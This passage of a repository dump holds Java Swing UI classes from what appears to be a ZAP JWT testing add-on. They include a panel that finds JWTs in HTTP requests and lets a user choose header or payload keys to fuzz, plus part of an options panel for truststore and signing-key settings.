GenericCriteriaBasedMessageLocationProducerFocusListenerAdapter 30 | extends MessageLocationProducerFocusListenerAdapter { 31 | 32 | private final Supplier criteriaSupplier; 33 | 34 | public GenericCriteriaBasedMessageLocationProducerFocusListenerAdapter( 35 | MessageLocationProducer source, Supplier criteriaSupplier) { 36 | super(source); 37 | this.criteriaSupplier = criteriaSupplier; 38 | } 39 | 40 | @Override 41 | public void focusGained(FocusEvent e) { 42 | if (Boolean.FALSE.equals(this.criteriaSupplier.get())) { 43 | return; 44 | } 45 | super.focusGained(e); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/fuzzer/ui/JWTFuzzPanelView.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.fuzzer.ui; 15 | 16 | import java.awt.Component; 17 | import java.awt.GridBagConstraints; 18 | import java.awt.GridBagLayout; 19 | import java.awt.event.ActionListener; 20 | import java.util.Arrays; 21 | import java.util.HashMap; 22 | import java.util.List; 23 | import java.util.Map; 24 | import java.util.Set; 25 | import java.util.Vector; 26 | import java.util.function.Supplier; 27 | import java.util.regex.Matcher; 28 | import javax.swing.BoxLayout; 29 | import javax.swing.JComboBox; 30 | import javax.swing.JComponent; 31 | import javax.swing.JLabel; 32 | import javax.swing.JPanel; 33 | import javax.swing.JScrollPane; 34 | import javax.swing.ScrollPaneConstants; 35 | import javax.swing.SwingConstants; 36 | import org.apache.commons.configuration.FileConfiguration; 37 | import org.apache.log4j.Logger; 38 | import org.json.JSONObject; 39 | import org.parosproxy.paros.network.HttpMessage; 40 | import org.zaproxy.zap.extension.httppanel.Message; 41 | import org.zaproxy.zap.extension.httppanel.component.split.request.RequestSplitComponent.ViewComponent; 42 | import org.zaproxy.zap.extension.httppanel.view.HttpPanelView; 43 | import org.zaproxy.zap.extension.httppanel.view.HttpPanelViewModel; 44 | import org.zaproxy.zap.extension.httppanel.view.impl.models.http.request.RequestStringHttpPanelViewModel; 45 | import org.zaproxy.zap.extension.jwt.JWTConfiguration; 46 | import org.zaproxy.zap.extension.jwt.JWTHolder; 47 | import org.zaproxy.zap.extension.jwt.JWTI18n; 48 | import org.zaproxy.zap.extension.jwt.exception.JWTException; 49 | import org.zaproxy.zap.extension.jwt.fuzzer.messagelocations.FuzzerJWTSignatureOperation; 50 | import org.zaproxy.zap.extension.jwt.fuzzer.messagelocations.JWTMessageLocation; 51 | import org.zaproxy.zap.extension.jwt.utils.JWTConstants; 52 | import org.zaproxy.zap.extension.jwt.utils.JWTUIUtils; 53 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 54 | import org.zaproxy.zap.model.HttpMessageLocation.Location; 55 | import org.zaproxy.zap.model.MessageLocation; 56 | import org.zaproxy.zap.view.messagelocation.MessageLocationHighlight; 57 | import org.zaproxy.zap.view.messagelocation.MessageLocationHighlighter; 58 | import org.zaproxy.zap.view.messagelocation.MessageLocationHighlightsManager; 59 | import org.zaproxy.zap.view.messagelocation.MessageLocationProducer; 60 | import org.zaproxy.zap.view.messagelocation.MessageLocationProducerFocusListener; 61 | import org.zaproxy.zap.view.messagelocation.MessageLocationProducerFocusListenerAdapter; 62 | import org.zaproxy.zap.view.messagelocation.TextMessageLocationHighlightsManager; 63 | 64 | /** 65 | * This class {@code JWTFuzzPanelView} is JWT Fuzzer View which is used for selecting {@code 66 | * JWTMessageLocation} which is used for fuzzing the JWT. it will parse the JWT and gives user a way 67 | * to fuzz header and payload Json object using various payload generators. 68 | * 69 | * @author preetkaran20@gmail.com KSASAN 70 | */ 71 | public class JWTFuzzPanelView 72 | implements HttpPanelView, MessageLocationProducer, MessageLocationHighlighter { 73 | 74 | private static final Logger LOGGER = Logger.getLogger(JWTFuzzPanelView.class); 75 | public static final String NAME = "JWTFuzzPanelView"; 76 | private static final String HEADER_COMPONENT_LABEL = "jwt.fuzzer.panel.jwtComponent.header"; 77 | private static final String PAYLOAD_COMPONENT_LABEL = "jwt.fuzzer.panel.jwtComponent.payload"; 78 | 79 | private MessageLocationProducerFocusListenerAdapter focusListenerAdapter; 80 | private JScrollPane contentScrollPane; 81 | private JPanel contentPanel; 82 | private JPanel fuzzerPanel; 83 | private JComboBox jwtComboBox; 84 | private JComboBox jwtComponentType; 85 | private JComboBox jwtComponentJsonKeysComboBox; 86 | private JComboBox jwtSignatureOperationCheckBox; 87 | 88 | private GridBagConstraints gridBagConstraints; 89 | private Vector jwtComboBoxModel = 90 | new Vector<>(Arrays.asList(JWTI18n.getMessage("jwt.fuzzer.panel.jwtcombobox.select"))); 91 | private HttpMessage message; 92 | private Map comboBoxKeyAndJwtMap = new HashMap<>(); 93 | private Map> jwtMessageLocationAndRelatedComponentsMap = 94 | new HashMap<>(); 95 | private ViewComponent viewComponent; 96 | 97 | public JWTFuzzPanelView() { 98 | this(null); 99 | } 100 | 101 | public JWTFuzzPanelView(ViewComponent viewComponent) { 102 | contentPanel = new JPanel(); 103 | contentPanel.setLayout(new BoxLayout(contentPanel, BoxLayout.Y_AXIS)); 104 | contentScrollPane = 105 | new JScrollPane( 106 | contentPanel, 107 | ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED, 108 | ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED); 109 | contentPanel.add(this.getJWTCommonConfigurationPanel()); 110 | contentPanel.add(this.getFuzzerPanel()); 111 | this.viewComponent = viewComponent; 112 | } 113 | 114 | private JPanel getJWTCommonConfigurationPanel() { 115 | JPanel commonPropertiesPanel = new JPanel(); 116 | GridBagLayout gridBagLayout = new GridBagLayout(); 117 | commonPropertiesPanel.setLayout(gridBagLayout); 118 | commonPropertiesPanel.setBorder( 119 | JWTUIUtils.getTitledBorder("jwt.fuzzer.panel.commonConfiguration")); 120 | GridBagConstraints gbc = JWTUIUtils.getGridBagConstraints(); 121 | gbc.gridx = 0; 122 | commonPropertiesPanel.add( 123 | new JLabel(JWTI18n.getMessage("jwt.settings.title"), SwingConstants.CENTER), gbc); 124 | gbc.gridx++; 125 | commonPropertiesPanel.add( 126 | new JLabel( 127 | JWTI18n.getMessage("jwt.fuzzer.panel.signature.operationtype"), 128 | SwingConstants.CENTER), 129 | gbc); 130 | gbc.gridx = 0; 131 | gbc.gridy++; 132 | jwtComboBox = new JComboBox<>(this.jwtComboBoxModel); 133 | commonPropertiesPanel.add(jwtComboBox, gbc); 134 | gbc.gridx++; 135 | jwtSignatureOperationCheckBox = new JComboBox<>(FuzzerJWTSignatureOperation.values()); 136 | commonPropertiesPanel.add(jwtSignatureOperationCheckBox, gbc); 137 | this.addActionListenerToRequestFocus(this.jwtComboBox); 138 | this.addActionListenerToRequestFocus(this.jwtSignatureOperationCheckBox); 139 | return commonPropertiesPanel; 140 | } 141 | 142 | private void addActionListenerToRequestFocus(JComboBox comboBox) { 143 | comboBox.addActionListener(e -> contentPanel.requestFocusInWindow()); 144 | } 145 | 146 | private JPanel getFuzzerPanel() { 147 | fuzzerPanel = new JPanel(); 148 | fuzzerPanel.setBorder(JWTUIUtils.getTitledBorder("jwt.fuzzer.panel.jwtProperties")); 149 | GridBagLayout gridBagLayout = new GridBagLayout(); 150 | gridBagConstraints = JWTUIUtils.getGridBagConstraints(); 151 | fuzzerPanel.setLayout(gridBagLayout); 152 | 153 | JLabel componentLabel = 154 | new JLabel( 155 | JWTI18n.getMessage("jwt.fuzzer.panel.token.component"), 156 | SwingConstants.CENTER); 157 | fuzzerPanel.add(componentLabel, gridBagConstraints); 158 | gridBagConstraints.gridx++; 159 | JLabel keyLabel = 160 | new JLabel(JWTI18n.getMessage("jwt.fuzzer.panel.token.key"), SwingConstants.CENTER); 161 | fuzzerPanel.add(keyLabel, gridBagConstraints); 162 | 163 | gridBagConstraints.gridy++; 164 | addActionListenerOnJWTComboBox(); 165 | return fuzzerPanel; 166 | } 167 | 168 | private void updateUIWithJWTSelection() { 169 | if (jwtComboBox.getSelectedIndex() > 0) { 170 | jwtComponentType = new JComboBox<>(); 171 | jwtComponentJsonKeysComboBox = new JComboBox<>(); 172 | this.addActionListenerToRequestFocus(jwtComponentType); 173 | this.addActionListenerToRequestFocus(jwtComponentJsonKeysComboBox); 174 | String selectedItem = 175 | comboBoxKeyAndJwtMap.get(jwtComboBox.getSelectedItem().toString()); 176 | try { 177 | JWTHolder jwtHolder = JWTHolder.parseJWTToken(selectedItem); 178 | jwtComponentType.addItem(JWTI18n.getMessage(HEADER_COMPONENT_LABEL)); 179 | if (JWTUtils.isValidJson(jwtHolder.getPayload())) { 180 | jwtComponentType.addItem(JWTI18n.getMessage(PAYLOAD_COMPONENT_LABEL)); 181 | } 182 | jwtComponentType.setSelectedIndex(0); 183 | gridBagConstraints.gridx = 0; 184 | fuzzerPanel.add(jwtComponentType, gridBagConstraints); 185 | gridBagConstraints.gridx++; 186 | fuzzerPanel.add(jwtComponentJsonKeysComboBox, gridBagConstraints); 187 | 188 | String jwtComponentValue = jwtHolder.getHeader(); 189 | if (jwtComponentType.getSelectedIndex() == 1) { 190 | jwtComponentValue = jwtHolder.getPayload(); 191 | } 192 | JSONObject jsonObject = new JSONObject(jwtComponentValue); 193 | Vector keys = new Vector<>(); 194 | keys.addAll(jsonObject.keySet()); 195 | for (String key : keys) { 196 | jwtComponentJsonKeysComboBox.addItem(key); 197 | } 198 | jwtComponentJsonKeysComboBox.setSelectedIndex(0); 199 | jwtComponentType.addActionListener(getJWTComponentTypeActionListener(jwtHolder)); 200 | } catch (Exception e) { 201 | LOGGER.error("Error Occurred: ", e); 202 | } 203 | } else { 204 | resetFuzzerPanelSection(); 205 | } 206 | fuzzerPanel.revalidate(); 207 | } 208 | 209 | private void resetFuzzerPanelSection() { 210 | if (jwtComponentJsonKeysComboBox != null) { 211 | jwtComponentJsonKeysComboBox.removeAllItems(); 212 | fuzzerPanel.remove(jwtComponentJsonKeysComboBox); 213 | } 214 | 215 | if (jwtComponentType != null) { 216 | jwtComponentType.removeAllItems(); 217 | fuzzerPanel.remove(jwtComponentType); 218 | } 219 | } 220 | 221 | private ActionListener getJWTComponentTypeActionListener(JWTHolder jwtHolder) { 222 | return e -> { 223 | String jwtComponentValue = jwtHolder.getHeader(); 224 | if (jwtComponentType.getSelectedIndex() == 1) { 225 | jwtComponentValue = jwtHolder.getPayload(); 226 | } 227 | JSONObject jsonObject = new JSONObject(jwtComponentValue); 228 | Vector keys = new Vector<>(); 229 | keys.addAll(jsonObject.keySet()); 230 | jwtComponentJsonKeysComboBox.removeAllItems(); 231 | for (String key : keys) { 232 | jwtComponentJsonKeysComboBox.addItem(key); 233 | } 234 | jwtComponentJsonKeysComboBox.setSelectedIndex(0); 235 | }; 236 | } 237 | 238 | private void addActionListenerOnJWTComboBox() { 239 | jwtComboBox.addActionListener(e -> updateUIWithJWTSelection()); 240 | } 241 | 242 | /** Adds the New JWT Component Type and Key Field ComboBox. */ 243 | private void addNewFuzzerFieldsRow() { 244 | gridBagConstraints.gridy++; 245 | gridBagConstraints.gridx = 0; 246 | updateUIWithJWTSelection(); 247 | } 248 | 249 | @Override 250 | public String getName() { 251 | return this.viewComponent != null ? NAME + this.viewComponent : NAME; 252 | } 253 | 254 | @Override 255 | public String getCaptionName() { 256 | return JWTI18n.getMessage("jwt.settings.title"); 257 | } 258 | 259 | @Override 260 | public String getTargetViewName() { 261 | return null; 262 | } 263 | 264 | @Override 265 | public int getPosition() { 266 | return 0; 267 | } 268 | 269 | @Override 270 | public JComponent getPane() { 271 | return contentScrollPane; 272 | } 273 | 274 | @Override 275 | public void setSelected(boolean selected) { 276 | if (selected) { 277 | this.contentPanel.requestFocusInWindow(); 278 | } 279 | } 280 | 281 | @Override 282 | public void save() {} 283 | 284 | @Override 285 | public HttpPanelViewModel getModel() { 286 | return new RequestStringHttpPanelViewModel(); 287 | } 288 | 289 | public void populateJWTTokens(String httpMessageString) { 290 | Matcher matcher = JWTConstants.JWT_TOKEN_REGEX_PATTERN.matcher(httpMessageString); 291 | while (matcher.find()) { 292 | String jwtToken = matcher.group().trim(); 293 | String key = jwtToken; 294 | try { 295 | JWTHolder jwtHolder = JWTHolder.parseJWTToken(key); 296 | // As Header of JWT is always JSON so header component should be a valid JSON Object 297 | // for the token to qualify 298 | // as valid JWT. 299 | if (JWTUtils.isValidJson(jwtHolder.getHeader())) { 300 | if (key.length() > 30) { 301 | key = jwtToken.substring(0, 30); 302 | } 303 | comboBoxKeyAndJwtMap.put(key.concat("..."), jwtToken); 304 | } 305 | } catch (Exception e) { 306 | LOGGER.debug("Not a valid JWT", e); 307 | } 308 | } 309 | } 310 | 311 | public void setMessage(Message message) { 312 | this.message = (HttpMessage) message; 313 | if (viewComponent == ViewComponent.HEADER) { 314 | this.populateJWTTokens(this.message.getRequestHeader().toString()); 315 | } else if (viewComponent == ViewComponent.BODY) { 316 | this.populateJWTTokens(this.message.getRequestBody().toString()); 317 | } else { 318 | this.populateJWTTokens(this.message.getRequestHeader().toString()); 319 | this.populateJWTTokens(this.message.getRequestBody().toString()); 320 | } 321 | Set jwtTokens = this.comboBoxKeyAndJwtMap.keySet(); 322 | for (String jwtToken : jwtTokens) { 323 | if (!jwtComboBoxModel.contains(jwtToken)) { 324 | jwtComboBoxModel.addElement(jwtToken); 325 | } 326 | } 327 | this.fuzzerPanel.revalidate(); 328 | } 329 | 330 | @Override 331 | public boolean isEnabled(Message message) { 332 | if (message != null) { 333 | setMessage(message); 334 | if (jwtComboBox.getItemCount() > 1) { 335 | return true; 336 | } 337 | } 338 | return false; 339 | } 340 | 341 | @Override 342 | public boolean hasChanged() { 343 | return true; 344 | } 345 | 346 | @Override 347 | public boolean isEditable() { 348 | return true; 349 | } 350 | 351 | @Override 352 | public void setEditable(boolean editable) {} 353 | 354 | @Override 355 | public void setParentConfigurationKey(String configurationKey) {} 356 | 357 | @Override 358 | public void loadConfiguration(FileConfiguration configuration) {} 359 | 360 | @Override 361 | public void saveConfiguration(FileConfiguration configuration) {} 362 | 363 | @Override 364 | public MessageLocation getSelection() { 365 | Location location; 366 | String jwt = comboBoxKeyAndJwtMap.get(jwtComboBox.getSelectedItem().toString()); 367 | String jwtComponentJsonKey = this.jwtComponentJsonKeysComboBox.getSelectedItem().toString(); 368 | boolean isHeaderComponent = 369 | this.jwtComponentType 370 | .getSelectedItem() 371 | .equals(JWTI18n.getMessage(HEADER_COMPONENT_LABEL)); 372 | int startIndex = this.message.getRequestHeader().toString().indexOf(jwt); 373 | if (startIndex >= 0) { 374 | location = Location.REQUEST_HEADER; 375 | } else { 376 | location = Location.REQUEST_BODY; 377 | startIndex = this.message.getRequestBody().toString().indexOf(jwt); 378 | } 379 | return new JWTMessageLocation( 380 | location, 381 | startIndex, 382 | startIndex + jwt.length(), 383 | jwt, 384 | jwtComponentJsonKey, 385 | isHeaderComponent, 386 | (FuzzerJWTSignatureOperation) (jwtSignatureOperationCheckBox.getSelectedItem())); 387 | } 388 | 389 | private Supplier getFocusListenerCriteria() { 390 | return () -> { 391 | if (this.jwtComboBox.getSelectedIndex() < 0) { 392 | return false; 393 | } 394 | 395 | if (this.jwtSignatureOperationCheckBox 396 | .getSelectedItem() 397 | .equals(FuzzerJWTSignatureOperation.NEW_SIGNATURE)) { 398 | JWTHolder jwtHolder; 399 | try { 400 | String jwt = comboBoxKeyAndJwtMap.get(jwtComboBox.getSelectedItem().toString()); 401 | jwtHolder = JWTHolder.parseJWTToken(jwt); 402 | if ((JWTConstants.JWT_HMAC_ALGO_TO_JAVA_ALGORITHM_MAPPING.containsKey( 403 | jwtHolder.getAlgorithm()) 404 | && JWTConfiguration.getInstance().getHMacSignatureKey() != null 405 | && JWTConfiguration.getInstance().getHMacSignatureKey().length 406 | == 0) 407 | || (jwtHolder 408 | .getAlgorithm() 409 | .startsWith( 410 | JWTConstants 411 | .JWT_RSA_ALGORITHM_IDENTIFIER) 412 | || jwtHolder 413 | .getAlgorithm() 414 | .startsWith( 415 | JWTConstants 416 | .JWT_RSA_PSS_ALGORITHM_IDENTIFIER)) 417 | && JWTConfiguration.getInstance() 418 | .getRsaPrivateKeyFileChooserPath() 419 | != null 420 | && JWTConfiguration.getInstance() 421 | .getRsaPrivateKeyFileChooserPath() 422 | .length() 423 | == 0) { 424 | return false; 425 | } 426 | } catch (JWTException e) { 427 | LOGGER.debug("Exception occurred: ", e); 428 | return false; 429 | } 430 | } 431 | return true; 432 | }; 433 | } 434 | 435 | @Override 436 | public void addFocusListener(MessageLocationProducerFocusListener focusListener) { 437 | getFocusListenerAdapter().addFocusListener(focusListener); 438 | } 439 | 440 | @Override 441 | public void removeFocusListener(MessageLocationProducerFocusListener focusListener) { 442 | getFocusListenerAdapter().removeFocusListener(focusListener); 443 | 444 | if (!getFocusListenerAdapter().hasFocusListeners()) { 445 | focusListenerAdapter = null; 446 | } 447 | } 448 | 449 | private MessageLocationProducerFocusListenerAdapter getFocusListenerAdapter() { 450 | if (focusListenerAdapter == null) { 451 | focusListenerAdapter = 452 | new GenericCriteriaBasedMessageLocationProducerFocusListenerAdapter( 453 | this, getFocusListenerCriteria()); 454 | contentPanel.addFocusListener(focusListenerAdapter); 455 | } 456 | return focusListenerAdapter; 457 | } 458 | 459 | @Override 460 | public MessageLocationHighlight highlight(MessageLocation location) { 461 | return this.highlight(location, null); 462 | } 463 | 464 | @Override 465 | public MessageLocationHighlight highlight( 466 | MessageLocation location, MessageLocationHighlight highlight) { 467 | List components = 468 | Arrays.asList(this.jwtComponentType, this.jwtComponentJsonKeysComboBox); 469 | this.jwtMessageLocationAndRelatedComponentsMap.put( 470 | (JWTMessageLocation) location, components); 471 | components.forEach(component -> component.setEnabled(false)); 472 | addNewFuzzerFieldsRow(); 473 | if (jwtMessageLocationAndRelatedComponentsMap.size() > 0) { 474 | this.jwtComboBox.setEnabled(false); 475 | this.jwtSignatureOperationCheckBox.setEnabled(false); 476 | } 477 | return highlight; 478 | } 479 | 480 | @Override 481 | public void removeHighlight( 482 | MessageLocation location, MessageLocationHighlight highlightReference) { 483 | if (jwtMessageLocationAndRelatedComponentsMap.containsKey(location)) { 484 | this.jwtMessageLocationAndRelatedComponentsMap 485 | .get(location) 486 | .forEach(component -> fuzzerPanel.remove(component)); 487 | } 488 | this.jwtMessageLocationAndRelatedComponentsMap.remove(location); 489 | if (jwtMessageLocationAndRelatedComponentsMap.size() == 0) { 490 | this.jwtComboBox.setEnabled(true); 491 | this.jwtSignatureOperationCheckBox.setEnabled(true); 492 | } 493 | fuzzerPanel.revalidate(); 494 | } 495 | 496 | @Override 497 | public Class getMessageLocationClass() { 498 | return JWTMessageLocation.class; 499 | } 500 | 501 | @Override 502 | public MessageLocationHighlightsManager create() { 503 | return new TextMessageLocationHighlightsManager(); 504 | } 505 | 506 | @Override 507 | public boolean supports(MessageLocation location) { 508 | return location instanceof JWTMessageLocation; 509 | } 510 | 511 | @Override 512 | public boolean supports(Class classLocation) { 513 | return JWTMessageLocation.class.isAssignableFrom(classLocation); 514 | } 515 | } 516 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/fuzzer/ui/JWTFuzzPanelViewFactory.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.fuzzer.ui; 15 | 16 | import org.zaproxy.zap.extension.httppanel.component.split.request.RequestSplitComponent.ViewComponent; 17 | import org.zaproxy.zap.extension.httppanel.view.HttpPanelView; 18 | import org.zaproxy.zap.view.HttpPanelManager.HttpPanelViewFactory; 19 | 20 | /** 21 | * {@code JWTFuzzPanelViewFactory} is used for creating {@link JWTFuzzPanelView} which is used for 22 | * representing the JWT present in the Request. 23 | * 24 | * @author preetkaran20@gmail.com KSASAN 25 | */ 26 | public class JWTFuzzPanelViewFactory implements HttpPanelViewFactory { 27 | 28 | private ViewComponent viewComponent; 29 | private static final String NAME = "JWTFuzzPanelViewFactory"; 30 | 31 | /** 32 | * View Component is important for {@link RequestSplitComponent} to specify where to display the 33 | * view. i.e. in Header or Body component. 34 | * 35 | * @param viewComponent view component 36 | */ 37 | public JWTFuzzPanelViewFactory(ViewComponent viewComponent) { 38 | this.viewComponent = viewComponent; 39 | } 40 | 41 | @Override 42 | public String getName() { 43 | return this.viewComponent != null ? NAME + this.viewComponent : NAME; 44 | } 45 | 46 | @Override 47 | public HttpPanelView getNewView() { 48 | return new JWTFuzzPanelView(viewComponent); 49 | } 50 | 51 | @Override 52 | public Object getOptions() { 53 | return viewComponent; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/ui/JWTOptionsPanel.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.ui; 15 | 16 | import java.awt.BorderLayout; 17 | import java.awt.FlowLayout; 18 | import java.awt.GridBagConstraints; 19 | import java.awt.GridBagLayout; 20 | import java.awt.event.FocusEvent; 21 | import java.awt.event.FocusListener; 22 | import java.io.File; 23 | import javax.swing.BoxLayout; 24 | import javax.swing.JButton; 25 | import javax.swing.JCheckBox; 26 | import javax.swing.JFileChooser; 27 | import javax.swing.JLabel; 28 | import javax.swing.JPanel; 29 | import javax.swing.JPasswordField; 30 | import javax.swing.JScrollPane; 31 | import javax.swing.JTextField; 32 | import javax.swing.ScrollPaneConstants; 33 | import javax.swing.border.TitledBorder; 34 | import javax.swing.filechooser.FileFilter; 35 | import org.parosproxy.paros.model.OptionsParam; 36 | import org.parosproxy.paros.view.AbstractParamPanel; 37 | import org.zaproxy.zap.extension.jwt.JWTConfiguration; 38 | import org.zaproxy.zap.extension.jwt.JWTI18n; 39 | import org.zaproxy.zap.extension.jwt.utils.JWTUIUtils; 40 | 41 | /** 42 | * JWT options panel for specifying settings which are used by {@code JWTActiveScanRule} and {@code 43 | * JWTFuzzer} for finding vulnerabilities in applications. 44 | * 45 | * @author KSASAN preetkaran20@gmail.com 46 | * @since TODO add version 47 | */ 48 | public class JWTOptionsPanel extends AbstractParamPanel { 49 | private static final long serialVersionUID = 1L; 50 | 51 | private String trustStorePath; 52 | private JScrollPane settingsScrollPane; 53 | private JPanel footerPanel; 54 | private JFileChooser trustStoreFileChooser; 55 | private JPasswordField trustStorePasswordField; 56 | private String trustStorePassword; 57 | private JButton trustStoreFileChooserButton; 58 | private JTextField trustStoreFileChooserTextField; 59 | private JCheckBox enableClientConfigurationScanCheckBox; 60 | 61 | /** JWT Fuzzer Options * */ 62 | private JPasswordField jwtHMacSignatureKey; 63 | 64 | /** 65 | * Going ahead with .pem format for private keys instead of .p12 format because of ease of use. 66 | */ 67 | // TODO Need to move truststore also to .pem format. 68 | private String jwtRsaPrivateKeyFileChooserPath; 69 | 70 | private JTextField jwtRsaPrivateKeyFileChooserTextField; 71 | 72 | /** Custom JWT configuration */ 73 | public JWTOptionsPanel() { 74 | super(); 75 | this.setName(JWTI18n.getMessage("jwt.settings.title")); 76 | this.setLayout(new BorderLayout()); 77 | JPanel settingsPanel = new JPanel(); 78 | settingsPanel.setLayout(new BoxLayout(settingsPanel, BoxLayout.Y_AXIS)); 79 | settingsScrollPane = 80 | new JScrollPane( 81 | settingsPanel, 82 | ScrollPaneConstants.VERTICAL_SCROLLBAR_AS_NEEDED, 83 | ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED); 84 | this.add(settingsScrollPane, BorderLayout.NORTH); 85 | footerPanel = new JPanel(); 86 | this.add(footerPanel, BorderLayout.SOUTH); 87 | footerPanel.setLayout(new FlowLayout(FlowLayout.CENTER, 0, 0)); 88 | this.addFileChooserTextField(); 89 | this.trustStoreFileChooserButton(); 90 | init(settingsPanel); 91 | } 92 | 93 | private void init(JPanel settingsPanel) { 94 | settingsPanel.add(this.rsaSettingsSection()); 95 | settingsPanel.add(this.generalSettingsSection()); 96 | settingsPanel.add(this.getFuzzerSettingsSection()); 97 | footerPanel.add(getResetButton()); 98 | } 99 | 100 | private JButton getResetButton() { 101 | JButton resetButton = new JButton(); 102 | resetButton.setText(JWTI18n.getMessage("jwt.settings.button.reset")); 103 | resetButton.addActionListener(e -> resetOptionsPanel()); 104 | return resetButton; 105 | } 106 | 107 | private void trustStoreFileChooserButton() { 108 | 109 | trustStoreFileChooserButton = 110 | new JButton(JWTI18n.getMessage("jwt.settings.filechooser.button")); 111 | trustStoreFileChooserButton.addActionListener( 112 | e -> { 113 | trustStoreFileChooser = new JFileChooser(); 114 | trustStoreFileChooser.setFileFilter( 115 | new FileFilter() { 116 | 117 | @Override 118 | public String getDescription() { 119 | return JWTI18n.getMessage( 120 | "jwt.settings.rsa.trustStoreFileDescription"); 121 | } 122 | 123 | @Override 124 | public boolean accept(File f) { 125 | return f.getName().endsWith(".p12") || f.isDirectory(); 126 | } 127 | }); 128 | trustStoreFileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY); 129 | String path = trustStoreFileChooserTextField.getText(); 130 | if (!path.isEmpty()) { 131 | File file = new File(path); 132 | if (file.exists()) { 133 | trustStoreFileChooser.setSelectedFile(file); 134 | } 135 | } 136 | if (trustStoreFileChooser.showOpenDialog(null) == JFileChooser.APPROVE_OPTION) { 137 | final File selectedFile = trustStoreFileChooser.getSelectedFile(); 138 | trustStorePath = selectedFile.getAbsolutePath(); 139 | trustStoreFileChooserTextField.setText(selectedFile.getAbsolutePath()); 140 | } 141 | }); 142 | } 143 | 144 | private void addFileChooserTextField() { 145 | trustStoreFileChooserTextField = new JTextField(); 146 | trustStoreFileChooserTextField.setEditable(false); 147 | trustStoreFileChooserTextField.setColumns(15); 148 | } 149 | 150 | private JPanel rsaSettingsSection() { 151 | JPanel rsaPanel = new JPanel(); 152 | rsaPanel.setSize(rsaPanel.getPreferredSize()); 153 | GridBagLayout gridBagLayout = new GridBagLayout(); 154 | rsaPanel.setLayout(gridBagLayout); 155 | GridBagConstraints gridBagConstraints = JWTUIUtils.getGridBagConstraints(); 156 | TitledBorder rsaPanelBorder = JWTUIUtils.getTitledBorder("jwt.settings.rsa.header"); 157 | rsaPanel.setBorder(rsaPanelBorder); 158 | JLabel lblTrustStorePathAttribute = 159 | new JLabel(JWTI18n.getMessage("jwt.settings.rsa.trustStorePath")); 160 | rsaPanel.add(lblTrustStorePathAttribute, gridBagConstraints); 161 | gridBagConstraints.gridx++; 162 | 163 | rsaPanel.add(trustStoreFileChooserTextField, gridBagConstraints); 164 | gridBagConstraints.gridx++; 165 | rsaPanel.add(trustStoreFileChooserButton, gridBagConstraints); 166 | 167 | gridBagConstraints.gridy++; 168 | gridBagConstraints.gridx = 0; 169 | JLabel lblTrustStorePassword = 170 | new JLabel(JWTI18n.getMessage("jwt.settings.rsa.trustStorePassword")); 171 | rsaPanel.add(lblTrustStorePassword, gridBagConstraints); 172 | 173 | gridBagConstraints.gridx++; 174 | trustStorePasswordField = new JPasswordField(); 175 | trustStorePasswordField.setColumns(15); 176 | trustStorePasswordField.addFocusListener( 177 | new FocusListener() { 178 | @Override 179 | public void focusLost(FocusEvent e) { 180 | if (trustStorePasswordField.getPassword() != null) { 181 | trustStorePassword = new String(trustStorePasswordField.getPassword()); 182 | } 183 | } 184 | 185 | @Override 186 | public void focusGained(FocusEvent e) {} 187 | }); 188 | lblTrustStorePassword.setLabelFor(trustStorePasswordField); 189 | rsaPanel.add(trustStorePasswordField, gridBagConstraints); 190 | return rsaPanel; 191 | } 192 | 193 | private JPanel generalSettingsSection() { 194 | JPanel generalSettingsPanel = new JPanel(new FlowLayout(FlowLayout.LEADING)); 195 | TitledBorder generalSettingsBorder = 196 | JWTUIUtils.getTitledBorder("jwt.settings.general.header"); 197 | generalSettingsPanel.setBorder(generalSettingsBorder); 198 | enableClientConfigurationScanCheckBox = 199 | new JCheckBox( 200 | JWTI18n.getMessage("jwt.settings.general.enableClientSideScan.checkBox")); 201 | generalSettingsPanel.add(enableClientConfigurationScanCheckBox); 202 | return generalSettingsPanel; 203 | } 204 | 205 | private JPanel getFuzzerSettingsSection() { 206 | JPanel fuzzerSettingsPanel = new JPanel(new GridBagLayout()); 207 | TitledBorder fuzzerSettingsBorder = 208 | JWTUIUtils.getTitledBorder("jwt.settings.fuzzer.header"); 209 | fuzzerSettingsPanel.setBorder(fuzzerSettingsBorder); 210 | GridBagConstraints gridBagConstraints = JWTUIUtils.getGridBagConstraints(); 211 